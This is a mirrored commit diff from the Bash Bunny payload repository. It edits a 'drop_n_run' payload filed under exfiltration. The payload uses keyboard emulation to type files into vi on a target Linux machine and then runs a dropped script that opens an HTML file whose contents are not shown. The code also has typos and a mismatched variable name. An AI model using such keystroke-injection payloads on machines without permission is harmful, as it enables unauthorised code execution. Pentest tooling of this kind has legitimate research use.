mirror of
https://github.com/hak5/bashbunny-payloads.git
synced 2025-10-29 16:58:25 +00:00
Check Point
This commit is contained in:
parent
afdafb27d6
commit
5c764849f3
@ -7,14 +7,15 @@
|
||||
# Example:
|
||||
# DROP /root/udisk/payloads/$SWITCH_POSITION/source.txt ~/target_destination.txt true
|
||||
source ./run.sh
|
||||
source ./debug.sh
|
||||
|
||||
function DROP() {
|
||||
DEBUG "drop" "start"
|
||||
local source=$2
|
||||
local destination=$3
|
||||
local overwrite=$4
|
||||
#local os=
|
||||
|
||||
ehco "start" >> "/root/udisk/payloads/${SWITCH_POSITION}/debug.txt"
|
||||
RUN terminal
|
||||
QUACK DELAY 1000
|
||||
QUACK STRING vi "$destination"
|
||||
|
||||
14
payloads/library/exfiltration/drop_n_run/boom.html
Normal file
14
payloads/library/exfiltration/drop_n_run/boom.html
Normal file
File diff suppressed because one or more lines are too long
7
payloads/library/exfiltration/drop_n_run/fuse.sh
Normal file
7
payloads/library/exfiltration/drop_n_run/fuse.sh
Normal file
@ -0,0 +1,7 @@
|
||||
#!/bin/bash
|
||||
|
||||
# Get out of bed and do something productive here instead...
|
||||
sleep 10
|
||||
|
||||
# Kaboom!!
|
||||
firefox "~/boom.html"
|
||||
@ -14,21 +14,24 @@
|
||||
# | Attack Stage | Description |
|
||||
# | ------------------- | ---------------------------------------- |
|
||||
# | SETUP | Open vi |
|
||||
# | ATTACK | Writing HTML |
|
||||
# | FINISH | Browser Ready |
|
||||
# | ATTACK | Writing files |
|
||||
# | FINISH | Payload Dropped & ran (remove the bunny) |
|
||||
#
|
||||
|
||||
ATTACKMODE HID
|
||||
LED SETUP
|
||||
|
||||
source_html="/root/udisk/payloads/${SWITCH_POSITION}/index.min.html"
|
||||
target_html="~/index.html"
|
||||
#date_time=
|
||||
source_scipt="/root/udisk/payloads/${SWITCH_POSITION}/fuse.sh"
|
||||
target_script="~/fuse.sh"
|
||||
|
||||
source_html="/root/udisk/payloads/${SWITCH_POSITION}/boom.html"
|
||||
target_html="~/boom.html"
|
||||
|
||||
LED ATTACK
|
||||
|
||||
DROP $source_script $target_script
|
||||
DROP $source_html $target_html
|
||||
RUN LINUX "firefox ${target_html}"
|
||||
RUN LINUX "${target_script}"
|
||||
|
||||
Q ENTER
|
||||
LED FINISH
|
||||
Loading…
x
Reference in New Issue
Block a user